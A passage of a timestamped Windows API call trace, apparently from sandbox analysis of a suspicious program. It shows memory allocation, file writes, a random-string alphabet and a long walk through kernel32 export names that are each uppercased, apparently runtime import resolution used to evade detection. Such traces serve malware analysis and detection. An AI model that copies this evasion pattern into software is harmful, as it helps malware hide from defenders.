UnmapViewOfFile (lpBaseAddress=0x2d20000) returned 1 [0149.114] CloseHandle (hObject=0x5f8) returned 1 [0149.114] SetFilePointerEx (in: hFile=0x5f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.114] WriteFile (in: hFile=0x5f4, lpBuffer=0x2d30000*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x38be738, lpOverlapped=0x0 | out: lpBuffer=0x2d30000*, lpNumberOfBytesWritten=0x38be738*=0x108, lpOverlapped=0x0) returned 1 [0149.116] CloseHandle (hObject=0x0) returned 0 [0149.116] CloseHandle (hObject=0x5f4) returned 1 [0149.117] VirtualFree (lpAddress=0x2d30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0149.117] VirtualFree (lpAddress=0x2d10000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0149.118] GetTickCount () returned 0x3a8a5 [0149.118] VirtualAlloc (lpAddress=0x0, dwSize=0x18, flAllocationType=0x3000, flProtect=0x4) returned 0x2d10000 [0149.118] lstrlenW (lpString="qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM1234567890") returned 62 [0149.118] VirtualAlloc (lpAddress=0x0, dwSize=0xa, flAllocationType=0x3000, flProtect=0x4) returned 0x2d20000 [0149.118] VirtualAlloc (lpAddress=0x0, dwSize=0x7e, flAllocationType=0x3000, flProtect=0x4) returned 0x2d30000 [0149.119] lstrlenA (lpString="kernel32.dll") returned 12 [0149.119] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0149.119] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AcquireSRWLockExclusive" | out: lpString1="AcquireSRWLockExclusive") returned="AcquireSRWLockExclusive" [0149.119] lstrlenA (lpString="ACQUIRESRWLOCKEXCLUSIVE") returned 23 [0149.119] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AcquireSRWLockShared" | out: lpString1="AcquireSRWLockShared") returned="AcquireSRWLockShared" [0149.119] lstrlenA (lpString="ACQUIRESRWLOCKSHARED") returned 20 [0149.119] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ActivateActCtx" | out: lpString1="ActivateActCtx") returned="ActivateActCtx" [0149.119] lstrlenA (lpString="ACTIVATEACTCTX") returned 14 [0149.119] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ActivateActCtxWorker" | out: lpString1="ActivateActCtxWorker") returned="ActivateActCtxWorker" [0149.119] lstrlenA (lpString="ACTIVATEACTCTXWORKER") returned 20 [0149.119] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddAtomA" | out: lpString1="AddAtomA") returned="AddAtomA" [0149.119] lstrlenA (lpString="ADDATOMA") returned 8 [0149.119] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddAtomW" | out: lpString1="AddAtomW") returned="AddAtomW" [0149.119] lstrlenA (lpString="ADDATOMW") returned 8 [0149.119] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddConsoleAliasA" | out: lpString1="AddConsoleAliasA") returned="AddConsoleAliasA" [0149.119] lstrlenA (lpString="ADDCONSOLEALIASA") returned 16 [0149.119] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddConsoleAliasW" | out: lpString1="AddConsoleAliasW") returned="AddConsoleAliasW" [0149.119] lstrlenA (lpString="ADDCONSOLEALIASW") returned 16 [0149.120] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddDllDirectory" | out: lpString1="AddDllDirectory") returned="AddDllDirectory" [0149.120] lstrlenA (lpString="ADDDLLDIRECTORY") returned 15 [0149.120] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddIntegrityLabelToBoundaryDescriptor" | out: lpString1="AddIntegrityLabelToBoundaryDescriptor") returned="AddIntegrityLabelToBoundaryDescriptor" [0149.120] lstrlenA (lpString="ADDINTEGRITYLABELTOBOUNDARYDESCRIPTOR") returned 37 [0149.120] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddLocalAlternateComputerNameA" | out: lpString1="AddLocalAlternateComputerNameA") returned="AddLocalAlternateComputerNameA" [0149.120] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEA") returned 30 [0149.120] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddLocalAlternateComputerNameW" | out: lpString1="AddLocalAlternateComputerNameW") returned="AddLocalAlternateComputerNameW" [0149.120] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEW") returned 30 [0149.120] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddRefActCtx" | out: lpString1="AddRefActCtx") returned="AddRefActCtx" [0149.120] lstrlenA (lpString="ADDREFACTCTX") returned 12 [0149.120] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddRefActCtxWorker" | out: lpString1="AddRefActCtxWorker") returned="AddRefActCtxWorker" [0149.120] lstrlenA (lpString="ADDREFACTCTXWORKER") returned 18 [0149.120] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddResourceAttributeAce" | out: lpString1="AddResourceAttributeAce") returned="AddResourceAttributeAce" [0149.120] lstrlenA (lpString="ADDRESOURCEATTRIBUTEACE") returned 23 [0149.120] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddSIDToBoundaryDescriptor" | out: lpString1="AddSIDToBoundaryDescriptor") returned="AddSIDToBoundaryDescriptor" [0149.120] lstrlenA (lpString="ADDSIDTOBOUNDARYDESCRIPTOR") returned 26 [0149.120] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddScopedPolicyIDAce" | out: lpString1="AddScopedPolicyIDAce") returned="AddScopedPolicyIDAce" [0149.120] lstrlenA (lpString="ADDSCOPEDPOLICYIDACE") returned 20 [0149.120] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddSecureMemoryCacheCallback" | out: lpString1="AddSecureMemoryCacheCallback") returned="AddSecureMemoryCacheCallback" [0149.120] lstrlenA (lpString="ADDSECUREMEMORYCACHECALLBACK") returned 28 [0149.120] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddVectoredContinueHandler" | out: lpString1="AddVectoredContinueHandler") returned="AddVectoredContinueHandler" [0149.120] lstrlenA (lpString="ADDVECTOREDCONTINUEHANDLER") returned 26 [0149.120] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddVectoredExceptionHandler" | out: lpString1="AddVectoredExceptionHandler") returned="AddVectoredExceptionHandler" [0149.120] lstrlenA (lpString="ADDVECTOREDEXCEPTIONHANDLER") returned 27 [0149.120] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AdjustCalendarDate" | out: lpString1="AdjustCalendarDate") returned="AdjustCalendarDate" [0149.120] lstrlenA (lpString="ADJUSTCALENDARDATE") returned 18 [0149.120] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AllocConsole" | out: lpString1="AllocConsole") returned="AllocConsole" [0149.121] lstrlenA (lpString="ALLOCCONSOLE") returned 12 [0149.121] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AllocateUserPhysicalPages" | out: lpString1="AllocateUserPhysicalPages") returned="AllocateUserPhysicalPages" [0149.121] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGES") returned 25 [0149.121] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AllocateUserPhysicalPagesNuma" | out: lpString1="AllocateUserPhysicalPagesNuma") returned="AllocateUserPhysicalPagesNuma" [0149.121] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGESNUMA") returned 29 [0149.121] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetClrCompat" | out: lpString1="AppPolicyGetClrCompat") returned="AppPolicyGetClrCompat" [0149.121] lstrlenA (lpString="APPPOLICYGETCLRCOMPAT") returned 21 [0149.121] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetCreateFileAccess" | out: lpString1="AppPolicyGetCreateFileAccess") returned="AppPolicyGetCreateFileAccess" [0149.121] lstrlenA (lpString="APPPOLICYGETCREATEFILEACCESS") returned 28 [0149.121] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetLifecycleManagement" | out: lpString1="AppPolicyGetLifecycleManagement") returned="AppPolicyGetLifecycleManagement" [0149.121] lstrlenA (lpString="APPPOLICYGETLIFECYCLEMANAGEMENT") returned 31 [0149.121] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetMediaFoundationCodecLoading" | out: lpString1="AppPolicyGetMediaFoundationCodecLoading") returned="AppPolicyGetMediaFoundationCodecLoading" [0149.121] lstrlenA (lpString="APPPOLICYGETMEDIAFOUNDATIONCODECLOADING") returned 39 [0149.121] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetProcessTerminationMethod" | out: lpString1="AppPolicyGetProcessTerminationMethod") returned="AppPolicyGetProcessTerminationMethod" [0149.121] lstrlenA (lpString="APPPOLICYGETPROCESSTERMINATIONMETHOD") returned 36 [0149.121] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetShowDeveloperDiagnostic" | out: lpString1="AppPolicyGetShowDeveloperDiagnostic") returned="AppPolicyGetShowDeveloperDiagnostic" [0149.121] lstrlenA (lpString="APPPOLICYGETSHOWDEVELOPERDIAGNOSTIC") returned 35 [0149.121] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetThreadInitializationType" | out: lpString1="AppPolicyGetThreadInitializationType") returned="AppPolicyGetThreadInitializationType" [0149.121] lstrlenA (lpString="APPPOLICYGETTHREADINITIALIZATIONTYPE") returned 36 [0149.121] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetWindowingModel" | out: lpString1="AppPolicyGetWindowingModel") returned="AppPolicyGetWindowingModel" [0149.121] lstrlenA (lpString="APPPOLICYGETWINDOWINGMODEL") returned 26 [0149.121] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppXGetOSMaxVersionTested" | out: lpString1="AppXGetOSMaxVersionTested") returned="AppXGetOSMaxVersionTested" [0149.121] lstrlenA (lpString="APPXGETOSMAXVERSIONTESTED") returned 25 [0149.121] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ApplicationRecoveryFinished" | out: lpString1="ApplicationRecoveryFinished") returned="ApplicationRecoveryFinished" [0149.121] lstrlenA (lpString="APPLICATIONRECOVERYFINISHED") returned 27 [0149.121] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ApplicationRecoveryInProgress" | out: lpString1="ApplicationRecoveryInProgress") returned="ApplicationRecoveryInProgress" [0149.121] lstrlenA (lpString="APPLICATIONRECOVERYINPROGRESS") returned 29 [0149.121] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AreFileApisANSI" | out: lpString1="AreFileApisANSI") returned="AreFileApisANSI" [0149.121] lstrlenA (lpString="AREFILEAPISANSI") returned 15 [0149.122] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AssignProcessToJobObject" | out: lpString1="AssignProcessToJobObject") returned="AssignProcessToJobObject" [0149.122] lstrlenA (lpString="ASSIGNPROCESSTOJOBOBJECT") returned 24 [0149.122] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AttachConsole" | out: lpString1="AttachConsole") returned="AttachConsole" [0149.122] lstrlenA (lpString="ATTACHCONSOLE") returned 13 [0149.122] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BackupRead" | out: lpString1="BackupRead") returned="BackupRead" [0149.122] lstrlenA (lpString="BACKUPREAD") returned 10 [0149.122] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BackupSeek" | out: lpString1="BackupSeek") returned="BackupSeek" [0149.122] lstrlenA (lpString="BACKUPSEEK") returned 10 [0149.122] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BackupWrite" | out: lpString1="BackupWrite") returned="BackupWrite" [0149.122] lstrlenA (lpString="BACKUPWRITE") returned 11 [0149.122] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCache" | out: lpString1="BaseCheckAppcompatCache") returned="BaseCheckAppcompatCache" [0149.122] lstrlenA (lpString="BASECHECKAPPCOMPATCACHE") returned 23 [0149.122] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCacheEx" | out: lpString1="BaseCheckAppcompatCacheEx") returned="BaseCheckAppcompatCacheEx" [0149.122] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEX") returned 25 [0149.122] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCacheExWorker" | out: lpString1="BaseCheckAppcompatCacheExWorker") returned="BaseCheckAppcompatCacheExWorker" [0149.122] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEXWORKER") returned 31 [0149.122] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCacheWorker" | out: lpString1="BaseCheckAppcompatCacheWorker") returned="BaseCheckAppcompatCacheWorker" [0149.122] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEWORKER") returned 29 [0149.122] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckElevation" | out: lpString1="BaseCheckElevation") returned="BaseCheckElevation" [0149.122] lstrlenA (lpString="BASECHECKELEVATION") returned 18 [0149.122] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCleanupAppcompatCacheSupport" | out: lpString1="BaseCleanupAppcompatCacheSupport") returned="BaseCleanupAppcompatCacheSupport" [0149.122] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORT") returned 32 [0149.122] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCleanupAppcompatCacheSupportWorker" | out: lpString1="BaseCleanupAppcompatCacheSupportWorker") returned="BaseCleanupAppcompatCacheSupportWorker" [0149.122] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORTWORKER") returned 38 [0149.122] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDestroyVDMEnvironment" | out: lpString1="BaseDestroyVDMEnvironment") returned="BaseDestroyVDMEnvironment" [0149.122] lstrlenA (lpString="BASEDESTROYVDMENVIRONMENT") returned 25 [0149.122] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDllReadWriteIniFile" | out: lpString1="BaseDllReadWriteIniFile") returned="BaseDllReadWriteIniFile" [0149.122] lstrlenA (lpString="BASEDLLREADWRITEINIFILE") returned 23 [0149.123] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDumpAppcompatCache" | out: lpString1="BaseDumpAppcompatCache") returned="BaseDumpAppcompatCache" [0149.123] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHE") returned 22 [0149.123] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDumpAppcompatCacheWorker" | out: lpString1="BaseDumpAppcompatCacheWorker") returned="BaseDumpAppcompatCacheWorker" [0149.123] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHEWORKER") returned 28 [0149.123] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseElevationPostProcessing" | out: lpString1="BaseElevationPostProcessing") returned="BaseElevationPostProcessing" [0149.123] lstrlenA (lpString="BASEELEVATIONPOSTPROCESSING") returned 27 [0149.123] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFlushAppcompatCache" | out: lpString1="BaseFlushAppcompatCache") returned="BaseFlushAppcompatCache" [0149.123] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHE") returned 23 [0149.123] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFlushAppcompatCacheWorker" | out: lpString1="BaseFlushAppcompatCacheWorker") returned="BaseFlushAppcompatCacheWorker" [0149.123] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHEWORKER") returned 29 [0149.123] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFormatObjectAttributes" | out: lpString1="BaseFormatObjectAttributes") returned="BaseFormatObjectAttributes" [0149.123] lstrlenA (lpString="BASEFORMATOBJECTATTRIBUTES") returned 26 [0149.123] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFormatTimeOut" | out: lpString1="BaseFormatTimeOut") returned="BaseFormatTimeOut" [0149.123] lstrlenA (lpString="BASEFORMATTIMEOUT") returned 17 [0149.123] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFreeAppCompatDataForProcessWorker" | out: lpString1="BaseFreeAppCompatDataForProcessWorker") returned="BaseFreeAppCompatDataForProcessWorker" [0149.123] lstrlenA (lpString="BASEFREEAPPCOMPATDATAFORPROCESSWORKER") returned 37 [0149.123] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseGenerateAppCompatData" | out: lpString1="BaseGenerateAppCompatData") returned="BaseGenerateAppCompatData" [0149.123] lstrlenA (lpString="BASEGENERATEAPPCOMPATDATA") returned 25 [0149.123] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseGetNamedObjectDirectory" | out: lpString1="BaseGetNamedObjectDirectory") returned="BaseGetNamedObjectDirectory" [0149.123] lstrlenA (lpString="BASEGETNAMEDOBJECTDIRECTORY") returned 27 [0149.123] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseInitAppcompatCacheSupport" | out: lpString1="BaseInitAppcompatCacheSupport") returned="BaseInitAppcompatCacheSupport" [0149.123] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORT") returned 29 [0149.123] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseInitAppcompatCacheSupportWorker" | out: lpString1="BaseInitAppcompatCacheSupportWorker") returned="BaseInitAppcompatCacheSupportWorker" [0149.123] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORTWORKER") returned 35 [0149.123] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseIsAppcompatInfrastructureDisabled" | out: lpString1="BaseIsAppcompatInfrastructureDisabled") returned="BaseIsAppcompatInfrastructureDisabled" [0149.123] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLED") returned 37 [0149.123] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseIsAppcompatInfrastructureDisabledWorker" | out: lpString1="BaseIsAppcompatInfrastructureDisabledWorker") returned="BaseIsAppcompatInfrastructureDisabledWorker" [0149.124] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLEDWORKER") returned 43 [0149.124] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseIsDosApplication" | out: lpString1="BaseIsDosApplication") returned="BaseIsDosApplication" [0149.124] lstrlenA (lpString="BASEISDOSAPPLICATION") returned 20 [0149.124] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseQueryModuleData" | out: lpString1="BaseQueryModuleData") returned="BaseQueryModuleData" [0149.124] lstrlenA (lpString="BASEQUERYMODULEDATA") returned 19 [0149.124] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseReadAppCompatDataForProcessWorker" | out: lpString1="BaseReadAppCompatDataForProcessWorker") returned="BaseReadAppCompatDataForProcessWorker" [0149.124] lstrlenA (lpString="BASEREADAPPCOMPATDATAFORPROCESSWORKER") returned 37 [0149.124] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseSetLastNTError" | out: lpString1="BaseSetLastNTError") returned="BaseSetLastNTError" [0149.124] lstrlenA (lpString="BASESETLASTNTERROR") returned 18 [0149.124] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseThreadInitThunk" | out: lpString1="BaseThreadInitThunk") returned="BaseThreadInitThunk" [0149.124] lstrlenA (lpString="BASETHREADINITTHUNK") returned 19 [0149.124] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseUpdateAppcompatCache" | out: lpString1="BaseUpdateAppcompatCache") returned="BaseUpdateAppcompatCache" [0149.124] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHE") returned 24 [0149.124] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseUpdateAppcompatCacheWorker" | out: lpString1="BaseUpdateAppcompatCacheWorker") returned="BaseUpdateAppcompatCacheWorker" [0149.124] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHEWORKER") returned 30 [0149.124] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseUpdateVDMEntry" | out: lpString1="BaseUpdateVDMEntry") returned="BaseUpdateVDMEntry" [0149.124] lstrlenA (lpString="BASEUPDATEVDMENTRY") returned 18 [0149.124] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseVerifyUnicodeString" | out: lpString1="BaseVerifyUnicodeString") returned="BaseVerifyUnicodeString" [0149.124] lstrlenA (lpString="BASEVERIFYUNICODESTRING") returned 23 [0149.125] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseWriteErrorElevationRequiredEvent" | out: lpString1="BaseWriteErrorElevationRequiredEvent") returned="BaseWriteErrorElevationRequiredEvent" [0149.125] lstrlenA (lpString="BASEWRITEERRORELEVATIONREQUIREDEVENT") returned 36 [0149.126] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="Basep8BitStringToDynamicUnicodeString" | out: lpString1="Basep8BitStringToDynamicUnicodeString") returned="Basep8BitStringToDynamicUnicodeString" [0149.126] lstrlenA (lpString="BASEP8BITSTRINGTODYNAMICUNICODESTRING") returned 37 [0149.126] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAllocateActivationContextActivationBlock" | out: lpString1="BasepAllocateActivationContextActivationBlock") returned="BasepAllocateActivationContextActivationBlock" [0149.126] lstrlenA (lpString="BASEPALLOCATEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 45 [0149.126] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAnsiStringToDynamicUnicodeString" | out: lpString1="BasepAnsiStringToDynamicUnicodeString") returned="BasepAnsiStringToDynamicUnicodeString" [0149.126] lstrlenA (lpString="BASEPANSISTRINGTODYNAMICUNICODESTRING") returned 37 [0149.126] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAppContainerEnvironmentExtension" | out: lpString1="BasepAppContainerEnvironmentExtension") returned="BasepAppContainerEnvironmentExtension" [0149.126] lstrlenA (lpString="BASEPAPPCONTAINERENVIRONMENTEXTENSION") returned 37 [0149.126] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAppXExtension" | out: lpString1="BasepAppXExtension") returned="BasepAppXExtension" [0149.126] lstrlenA (lpString="BASEPAPPXEXTENSION") returned 18 [0149.126] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCheckAppCompat" | out: lpString1="BasepCheckAppCompat") returned="BasepCheckAppCompat" [0149.126] lstrlenA (lpString="BASEPCHECKAPPCOMPAT") returned 19 [0149.126] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCheckWebBladeHashes" | out: lpString1="BasepCheckWebBladeHashes") returned="BasepCheckWebBladeHashes" [0149.126] lstrlenA (lpString="BASEPCHECKWEBBLADEHASHES") returned 24 [0149.126] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCheckWinSaferRestrictions" | out: lpString1="BasepCheckWinSaferRestrictions") returned="BasepCheckWinSaferRestrictions" [0149.126] lstrlenA (lpString="BASEPCHECKWINSAFERRESTRICTIONS") returned 30 [0149.126] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepConstructSxsCreateProcessMessage" | out: lpString1="BasepConstructSxsCreateProcessMessage") returned="BasepConstructSxsCreateProcessMessage" [0149.126] lstrlenA (lpString="BASEPCONSTRUCTSXSCREATEPROCESSMESSAGE") returned 37 [0149.126] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCopyEncryption" | out: lpString1="BasepCopyEncryption") returned="BasepCopyEncryption" [0149.126] lstrlenA (lpString="BASEPCOPYENCRYPTION") returned 19 [0149.126] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepFreeActivationContextActivationBlock" | out: lpString1="BasepFreeActivationContextActivationBlock") returned="BasepFreeActivationContextActivationBlock" [0149.126] lstrlenA (lpString="BASEPFREEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 41 [0149.126] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepFreeAppCompatData" | out: lpString1="BasepFreeAppCompatData") returned="BasepFreeAppCompatData" [0149.126] lstrlenA (lpString="BASEPFREEAPPCOMPATDATA") returned 22 [0149.126] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepGetAppCompatData" | out: lpString1="BasepGetAppCompatData") returned="BasepGetAppCompatData" [0149.126] lstrlenA (lpString="BASEPGETAPPCOMPATDATA") returned 21 [0149.126] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepGetComputerNameFromNtPath" | out: lpString1="BasepGetComputerNameFromNtPath") returned="BasepGetComputerNameFromNtPath" [0149.126] lstrlenA (lpString="BASEPGETCOMPUTERNAMEFROMNTPATH") returned 30 [0149.127] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepGetExeArchType" | out: lpString1="BasepGetExeArchType") returned="BasepGetExeArchType" [0149.127] lstrlenA (lpString="BASEPGETEXEARCHTYPE") returned 19 [0149.127] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepInitAppCompatData" | out: lpString1="BasepInitAppCompatData") returned="BasepInitAppCompatData" [0149.127] lstrlenA (lpString="BASEPINITAPPCOMPATDATA") returned 22 [0149.127] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepIsProcessAllowed" | out: lpString1="BasepIsProcessAllowed") returned="BasepIsProcessAllowed" [0149.127] lstrlenA (lpString="BASEPISPROCESSALLOWED") returned 21 [0149.127] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepMapModuleHandle" | out: lpString1="BasepMapModuleHandle") returned="BasepMapModuleHandle" [0149.127] lstrlenA (lpString="BASEPMAPMODULEHANDLE") returned 20 [0149.127] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepNotifyLoadStringResource" | out: lpString1="BasepNotifyLoadStringResource") returned="BasepNotifyLoadStringResource" [0149.127] lstrlenA (lpString="BASEPNOTIFYLOADSTRINGRESOURCE") returned 29 [0149.127] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepPostSuccessAppXExtension" | out: lpString1="BasepPostSuccessAppXExtension") returned="BasepPostSuccessAppXExtension" [0149.127] lstrlenA (lpString="BASEPPOSTSUCCESSAPPXEXTENSION") returned 29 [0149.127] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepProcessInvalidImage" | out: lpString1="BasepProcessInvalidImage") returned="BasepProcessInvalidImage" [0149.127] lstrlenA (lpString="BASEPPROCESSINVALIDIMAGE") returned 24 [0149.127] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepQueryAppCompat" | out: lpString1="BasepQueryAppCompat") returned="BasepQueryAppCompat" [0149.127] lstrlenA (lpString="BASEPQUERYAPPCOMPAT") returned 19 [0149.127] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepReleaseAppXContext" | out: lpString1="BasepReleaseAppXContext") returned="BasepReleaseAppXContext" [0149.127] lstrlenA (lpString="BASEPRELEASEAPPXCONTEXT") returned 23 [0149.127] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepReleaseSxsCreateProcessUtilityStruct" | out: lpString1="BasepReleaseSxsCreateProcessUtilityStruct") returned="BasepReleaseSxsCreateProcessUtilityStruct" [0149.127] lstrlenA (lpString="BASEPRELEASESXSCREATEPROCESSUTILITYSTRUCT") returned 41 [0149.127] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepReportFault" | out: lpString1="BasepReportFault") returned="BasepReportFault" [0149.127] lstrlenA (lpString="BASEPREPORTFAULT") returned 16 [0149.127] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepSetFileEncryptionCompression" | out: lpString1="BasepSetFileEncryptionCompression") returned="BasepSetFileEncryptionCompression" [0149.127] lstrlenA (lpString="BASEPSETFILEENCRYPTIONCOMPRESSION") returned 33 [0149.127] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="Beep" | out: lpString1="Beep") returned="Beep" [0149.127] lstrlenA (lpString="BEEP") returned 4 [0149.127] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BeginUpdateResourceA" | out: lpString1="BeginUpdateResourceA") returned="BeginUpdateResourceA" [0149.127] lstrlenA (lpString="BEGINUPDATERESOURCEA") returned 20 [0149.128] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BeginUpdateResourceW" | out: lpString1="BeginUpdateResourceW") returned="BeginUpdateResourceW" [0149.128] lstrlenA (lpString="BEGINUPDATERESOURCEW") returned 20 [0149.128] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BindIoCompletionCallback" | out: lpString1="BindIoCompletionCallback") returned="BindIoCompletionCallback" [0149.128] lstrlenA (lpString="BINDIOCOMPLETIONCALLBACK") returned 24 [0149.128] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBA" | out: lpString1="BuildCommDCBA") returned="BuildCommDCBA" [0149.128] lstrlenA (lpString="BUILDCOMMDCBA") returned 13 [0149.128] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBAndTimeoutsA" | out: lpString1="BuildCommDCBAndTimeoutsA") returned="BuildCommDCBAndTimeoutsA" [0149.128] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSA") returned 24 [0149.128] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBAndTimeoutsW" | out: lpString1="BuildCommDCBAndTimeoutsW") returned="BuildCommDCBAndTimeoutsW" [0149.128] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSW") returned 24 [0149.128] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBW" | out: lpString1="BuildCommDCBW") 